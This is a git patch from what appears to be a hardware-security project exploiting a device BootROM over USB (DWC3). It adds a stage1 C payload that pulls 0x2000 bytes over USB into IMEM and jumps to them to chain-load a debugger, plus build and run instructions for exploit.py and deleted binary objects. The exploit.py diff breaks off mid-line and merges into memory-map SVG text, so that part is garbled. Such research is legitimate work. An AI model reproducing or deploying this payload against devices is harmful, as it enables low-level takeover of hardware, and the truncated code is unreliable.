From 934bebe0c5fb645f5df6080bcdfa522d86c66b53 Mon Sep 17 00:00:00 2001 From: Eljakim Herrewijnen Date: Mon, 5 Aug 2024 14:51:04 +0200 Subject: [PATCH] stage1 and debugger working --- source/exploit/.vscode/launch.json | 8 + source/exploit/Readme.md | 17 ++ source/exploit/dwc3.elf | Bin 7920 -> 0 bytes source/exploit/dwc3.o | Bin 1832 -> 0 bytes source/exploit/entry.o | Bin 848 -> 0 bytes source/exploit/exploit.py | 186 ++++++------------ source/exploit/readme.md | 5 - source/exploit/stage1/.gitignore | 3 + source/exploit/{ => stage1}/Makefile | 8 +- source/exploit/stage1/Readme.md | 5 + source/exploit/{ => stage1}/entry.S | 0 .../{test_dwc3.ld => stage1/linkscript.ld} | 2 +- source/exploit/stage1/memory_map.drawio.svg | 1 + source/exploit/stage1/stage1.c | 86 ++++++++ source/exploit/{ => stage1}/symbols.txt | 0 source/exploit/test_dwc3.c | 72 ------- 16 files changed, 185 insertions(+), 208 deletions(-) create mode 100644 source/exploit/Readme.md delete mode 100755 source/exploit/dwc3.elf delete mode 100644 source/exploit/dwc3.o delete mode 100644 source/exploit/entry.o delete mode 100644 source/exploit/readme.md create mode 100644 source/exploit/stage1/.gitignore rename source/exploit/{ => stage1}/Makefile (78%) create mode 100644 source/exploit/stage1/Readme.md rename source/exploit/{ => stage1}/entry.S (100%) rename source/exploit/{test_dwc3.ld => stage1/linkscript.ld} (72%) create mode 100644 source/exploit/stage1/memory_map.drawio.svg create mode 100644 source/exploit/stage1/stage1.c rename source/exploit/{ => stage1}/symbols.txt (100%) delete mode 100644 source/exploit/test_dwc3.c diff --git a/source/exploit/.vscode/launch.json b/source/exploit/.vscode/launch.json index ed07101..c52f88f 100644 --- a/source/exploit/.vscode/launch.json +++ b/source/exploit/.vscode/launch.json @@ -11,6 +11,14 @@ "program": "exploit.py", "console": "integratedTerminal", "args": ["--debug"] + }, + { + "name": "Run chain", + "type": "debugpy", + "request": "launch", + "program": "exploit.py", + "console": "integratedTerminal", + "args": [] } ] } \ No newline at end of file diff --git a/source/exploit/Readme.md b/source/exploit/Readme.md new file mode 100644 index 0000000..1e2e347 --- /dev/null +++ b/source/exploit/Readme.md @@ -0,0 +1,17 @@ +# Exploit +Python implementation of Frederick's exploit. This gives a bit more insight in the bug. + +## Debugger +The debugger is used for chain loading the next stages. See the documentation folder for more docs + +## Usage +Navigate to stage1 and build it: +``` +export ANDROID_NDK_ROOT=$TOOLCHAINENV/android-ndk-r21_Linux +make +``` +This will build stage1 + +```bash +python3 exploit.py +``` \ No newline at end of file diff --git a/source/exploit/dwc3.elf b/source/exploit/dwc3.elf deleted file mode 100755 index 153138950c1b18fc7f5c7a8d230c93173583a341..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7920 zcmeHMO>7%Q6n?wwq^*!35La!Xzy?}~E#YkJ{McNwrldk5D8;D|LY0>F?j{bhz3%SD zG&qvoiVDMtC_$zNl%|)~5(lJKs&e2*R7i+Zl|#=Il>^7rJ){!GyxE;i+@gQ zneTn`y_wIm7r*M{)N!8Uz<+qS4({wA&l60hiPH0Q;9^POG1Ciz%k9}s;mBL($D4<| zq#wakhj;&U^xg;7J$};n_%zEh2bcrQ0p_|L|Y^Nl>MH(E34X1j9Z3aNi@`iJH!e3offxMuqp))u(vN%^AXd|hqy zb1<@ZNnZI&=#PGJcVhX8{cwDt7?PbA7Gu^0z`ezKaFZ*9kCoQr(W!V)1(g3Z|!+w zo9wra+Haw51lR84Ak}>aQnQ6xWd8$wN0-Gw-8HOx7VG->Z9LZ>SnoX6s|V`&=V@1d zY?9yPw@#-4@Oef??K?RByVE(4F6x#!uZx4DDM^w>Q({)N4P7*gqLmmM9ZL*r5mC#l z#W}HTSoS>PshAW?ii0`FDcP?N4XK_$Y|b?2@`i0LSeg;j%)*dknt3g!&KHOB`Eud4 zl4X8mXpR_{#`SSEs|~AhH9MOyW|R6zLK+@VjOkLQRX6T_`TDB? z{i8^E276v_9`gEPM3+2q{1DvdpKwut35^N~GZ%j6~;ss&k6smofGs9uDYy=i*zP zx=D$CFp7?~7&GC>nV1B&qgoC)hV3Z&$66w$!4W++47O3!6sDW@1ENpZKJIF?$p zck8;kF0Y_2W(|duu?=UTgo>&T5VIExj+({jSYFKeBgZ)70C|B5xGVqA|35y5OUWJI z>7DvMAM`YDl4REt>Kc>b0DcHXB9pGi@6TTA!pP8<^W)Qq2>}k7PSXBxG?4Sx`7oLP m_pJq}KkG5J=>pPIChyc<4+eTX7kgO!8okKBP`)36_5TH#&vmK* diff --git a/source/exploit/dwc3.o b/source/exploit/dwc3.o deleted file mode 100644 index bf81e162b085c496f6395244856eb2043e0ae558..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1832 zcmbu9O=uHQ5XUD;YZV1WEeeXR&_hyiyGi9UPpe2~n%-^}~ZyxsS9=IGF| zXe0vuh`>u&o%s|X*S_kjbytNB%v>3MRk;T@N2*hiO7#dVEXN|<=hR0orrg^Wf!_7g z>fP_LZQZwj9$MJgsb&)GuynE$GLLJub8(m*nTtZUIyG2X8GiHhbxixbym`;ByQqgf z%%4S_eEp z4H3u^^Y=hCmr;xQr@B(8?n6=6=U;JOe!aO+J%2ydsl`e)1`F?Nwfg|KMpV@PhW_tb zZ3hh6mh0p#Dc+Y=6s0dK8M?)_RA#Q1N1l}xIU~h$oR_=< zJw19uKpu0Pu>$j)3D;z@=@fgo;}p!Cp0|4ng>rF!$#uq=$)%JsU=8SonbcFdF`8zh z8LKy~BnQ&{R=+;L3^SGL)l*p|A;p`m3=Lg4)u`*0?F8=kpJN82ZLm}eC%vnKwlIc| zbrM~}JCSTzLjex{g`Y>h6`~;FOQf;8VPG6>E1eg}DgTVfyCUoz!Ns&0UljbU2wWES zf#A=@e7mr8Fk02!DdM}Z&%l*}i-O~wfepeZb4B=_AwDTM>2wI6%&hRk`tt!Ed<%40 zXi)y9hFkytAbjd)V}O4VKJ^piKLii=<9|$u2kW-soJP1V$Sy1BGG~(<=p+}J&B3~E zrZrYlG>_{p*SM?O9!z+K#>yDha(E32%!M(=HD+5SCy&r&W?3^PMn^GF#ESs3?QkX^ zKYe~bs+d<1-Y}R(Djwq#C0w9ez?sK2DkqyzSFm)hYo-An3TysE_PEP+17z<;k!&+_ zH4VBfISE~pveMY+|NcKgfmjQXdGSy`g<|6IHt9O_h>;BrRZI?s76jiFrBFD`h?hiD z{=Fl8y3Ok;h{Hecbhbz%{5YmXUAm9K;kV=4OBnS1U|w?Vr=uPY=RQN)Dm5cuMl2vh I`waL02WHO{761SM diff --git a/source/exploit/entry.o b/source/exploit/entry.o deleted file mode 100644 index cfc037fa6b657a879d0579fb87669bfafc66cd97..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 848 zcmb<-^>JfjWMqH=MuzPS2p&w7f#Cv@paWRgfq@O8QpAyAK@bB&Ll6@K!;}Ne@z?%V z?_J3ZKNvfW^U#KonFgcr{C_gv8I5jVY zp|m&&!q6)&DJn@!V$dtD%mvXZ6?!1MDFv2515n%tHLw91|9)r|K!xF=Y(N%B3`8RX z2PkI>vLKL+9)2Lb=wcu(8BmKPKpY@o1!7Pva)3BM023DnveDfHlD`5XumE(mjzBe- Use^&x22}3^C=JpF3MX{?0TQ=c82|tP diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index d6cbd79..e20d448 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -3,6 +3,7 @@ import struct, sys, usb1, libusb1, ctypes, usb, argparse from keystone import * from capstone import * from ghidra_assistant.utils.utils import * +from ghidra_assistant.concrete_device import * def p32(x): return struct.pack("
USB Download buffer
0x02021800
0x02070000
stage1 (502 bytes)
0x2021a00
0x206fe00
usb_recv buffer (512 bytes)
0x2069000
Gupje (0x6000 bytes reserved)
Unknown IMEM?
0x2????????
BootROM
0x0
 \ No newline at end of file diff --git a/source/exploit/stage1/stage1.c b/source/exploit/stage1/stage1.c new file mode 100644 index 0000000..63f3f12 --- /dev/null +++ b/source/exploit/stage1/stage1.c @@ -0,0 +1,86 @@ +#include + +// Create external function at 0x00006f88 +extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer); +extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len); +extern int usb_event_handler(void); +extern uint32_t get_endpoint_recv_buffer(char endpoint); +extern void sleep(int endpoint,uint32_t timeout); +extern void usb_send(uint32_t address,uint32_t size); +extern void rom_send(); + +#define recv_buffer 0x206fe00 //0x02021800 + 0x3000 +#define data_received 0x206fd00 + +void recv_data_cb(uint32_t endpoint, uint32_t len){ + char *dest_buf = (char *)recv_buffer; + volatile void *dref = (void *)data_received; + + void *rbuf = get_endpoint_recv_buffer(endpoint); + for(int i= 0; i < len; i++){ + dest_buf[i] = *(char *)(void *)((int)rbuf + i); + } + *(uint8_t *)dref = 1; // Mark as ready +} + +void recv_data(uint32_t address, uint32_t size){ + // + volatile void *dref = (void *)data_received; + *(uint8_t *)dref = 0; + + maybe_usb_setup_read(2, recv_data_cb, 0x200); + uint32_t rbuf = get_endpoint_recv_buffer(2); + dwc3_ep0_start_trans(2, rbuf, 0x200); + while(1){ + usb_event_handler(); + if(*(uint8_t *)dref == 1){ + break; + } + } + // Copy to destination location + char *dest_buf = (char *)address; + for(int i= 0; i < size; i++){ + dest_buf[i] = *(char *)(void *)((int)recv_buffer + i); + } +} + +// void send_data_cb(uint32_t endpoint, uint32_t len){ +// // Tell event handler that the data was received +// volatile void *dref = (void *)data_received; +// *(uint8_t *)dref = 1; // Mark as ready +// } + +// void send_data(uint32_t address, uint32_t size){ +// volatile void *dref = (void *)data_received; +// *(uint8_t *)dref = 0; +// maybe_usb_setup_read(0x1, send_data_cb, size); +// // uint32_t rbuf = get_endpoint_recv_buffer(1); +// dwc3_ep0_start_trans(1, address, size); +// while(1){ +// usb_event_handler(); +// if(*(uint8_t *)dref == 1){ +// break; +// } +// } +// } +#define debugger_location 0x2069000 + +int main() { + // First payload is 0x2000 in size + int block_sz = 0x200; + int to_recv = 0x2000; + for(int block = 0; block < to_recv; block+=block_sz){ + recv_data(0x2069000 + block, block_sz); + } + + // Create function at debugger_location + void (*custom_func)() = (void*)0x2069000; //mem_off; + custom_func(); + + // uint32_t count = 0; + // while(1){ + // // recv_data(); + // // send_data(recv_buffer, 0x200); + // // send_data("GiAs", 4); + // } +} \ No newline at end of file diff --git a/source/exploit/symbols.txt b/source/exploit/stage1/symbols.txt similarity index 100% rename from source/exploit/symbols.txt rename to source/exploit/stage1/symbols.txt diff --git a/source/exploit/test_dwc3.c b/source/exploit/test_dwc3.c deleted file mode 100644 index b50ba48..0000000 --- a/source/exploit/test_dwc3.c +++ /dev/null @@ -1,72 +0,0 @@ -#include - -// Create external function at 0x00006f88 -extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer); -extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len); -extern int usb_event_handler(void); -extern uint32_t get_endpoint_recv_buffer(char endpoint); -extern void sleep(int endpoint,uint32_t timeout); -extern void usb_send(uint32_t address,uint32_t size); -extern void rom_send(); - -#define recv_buffer 0x02021800 + 0x3000 -#define data_received 0x02021800 + 0x2004 - -void recv_data_cb(uint32_t endpoint, uint32_t len){ - char *dest_buf = (char *)recv_buffer; - volatile void *dref = (void *)data_received; - - void *rbuf = get_endpoint_recv_buffer(endpoint); - for(int i= 0; i < len; i++){ - dest_buf[i] = *(char *)(void *)((int)rbuf + i); - } - *(uint8_t *)dref = 1; // Mark as ready -} - -void recv_data(){ - // Set data_received to 0 - // uint32_t *r = (uint32_t *) data_received; - // r = 0; - volatile void *dref = (void *)data_received; - *(uint8_t *)dref = 0; - - maybe_usb_setup_read(2, recv_data_cb, 0x200); - uint32_t rbuf = get_endpoint_recv_buffer(2); - dwc3_ep0_start_trans(2, rbuf, 0x200); - while(1){ - usb_event_handler(); - if(*(uint8_t *)dref == 1){ - break; - } - } -} - -void send_data_cb(uint32_t endpoint, uint32_t len){ - // Tell event handler that the data was received - volatile void *dref = (void *)data_received; - *(uint8_t *)dref = 1; // Mark as ready -} - -void send_data(uint32_t address, uint32_t size){ - volatile void *dref = (void *)data_received; - *(uint8_t *)dref = 0; - maybe_usb_setup_read(0x1, send_data_cb, 0x200); - // uint32_t rbuf = get_endpoint_recv_buffer(1); - dwc3_ep0_start_trans(1, address, 0x200); - while(1){ - usb_event_handler(); - if(*(uint8_t *)dref == 1){ - break; - } - } -} - - -int main() { - - uint32_t count = 0; - while(1){ - recv_data(); - send_data(recv_buffer, 0x200); - } -} \ No newline at end of file